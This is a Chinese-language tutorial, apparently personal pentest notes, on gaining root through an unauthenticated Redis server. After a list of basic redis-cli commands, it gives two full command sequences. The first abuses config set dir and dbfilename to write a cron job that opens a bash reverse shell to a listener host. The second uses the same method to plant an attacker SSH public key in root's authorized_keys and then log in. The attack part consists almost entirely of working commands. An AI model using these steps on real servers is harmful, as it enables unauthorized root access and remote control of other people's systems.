前提
成功连接Redis
基础命令
# 连接redis
redis-cli -h 192.168.100.47
# 基础命令
set key value
get key
del key
# 切换到数据库1,默认是0
select 1
set key_num 1
# 数字型参数加1
incr key_num
# 为列表赋值
rpush phone 13012345678 13187654321 19998765432
# 获取列表值
lindex phone 1
# 清空全部key
flushall
# 获取配置文件里的参数
config get requirepass
# 获取数据存储目录
config get dir
# 获取数据库文件名
config get dbfilename
config set key value
save
# 查询存在哪些键
SCAN 0 match * count 100
一、计划任务提权
1、连接redis后,设置task变量为反弹shell
set task "\n\n */1 * * * * /bin/bash -ip >& /dev/tcp/192.168.244.201/9999 0>&1 \n\n"
2、更改数据存储目录为
config set dir /var/spool/cron
3、设置 Redis 数据库的持久化文件名为root
config set dbfilename root
4、保存
save
5、退出reids,到crontab目录下查看计划任务
cd /var/spool/cron/root
crontab -l
6、在kali进行监听
二、SSH提权
1、在kali上生成公私钥对
ssh-keygen -t rsa
key / key.pub
2、在Redis(Liunx)上创建/root/.ssh目录
set mkdir "\n\n */1 * * * * mkdir /root/.ssh \n\n"
3、检查是否创建成功,并切换到目录下
config set dir /root/.ssh
4、将kali公钥导入Redis
set mkdir "\n\n */1 * * * * echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjqv12Xd57BHnBkwfeNFYnKyZvNVSMYBSNMCiyaK4ncJ7Ne25o30Dn4KHJYUNI7XVhB4ygSilJ1MarCpThjfTdhi65Qs1eqRZBI2G7U/FTwKO+ht0UX9h9xsOfX9IWbz4pxWYnW2aRFg7QQys6P+5fGlsbHLAq9pV1iwSSp0U2TXhoBlKeB883RkFVTOUR/R0Vk3CjQ/JSRYfYu6wCyGVNHV+3AWmhh8QHTZW7AboXFspteoA81GbOXu42vgmvWcopyVuLbFVK7x34X/U1t64XqzUpCGedgyhuvBevmkrNKAL8S3jQE2htDB/NGkCOHzNSJdNFpTNNI6kuOV9sCW53jKoSE6XZGKhKuW7KRFkMEeEYZyGEQR9QEezPTt9N5F0cZDybt9J79GOJTyJvhAo7ucbro8MP/pRHQJEW2g/GUPDVAcePfI1RLmNOvA77W9hl9LVrCy9lYgNLtmomDaGf2PnT3JwcvY5u0TUb6s82f9A3r9K6G5jSQKRY0+k+/nM= root@kali' >/root/.ssh/authorized_keys \n\n"
5、更改数据存储目录为
config set dir /var/spool/cron
6、设置 Redis 数据库的持久化文件名为root
config set dbfilename root
7、保存
save
8、kali登录
ssh -i key root@192.168.244.149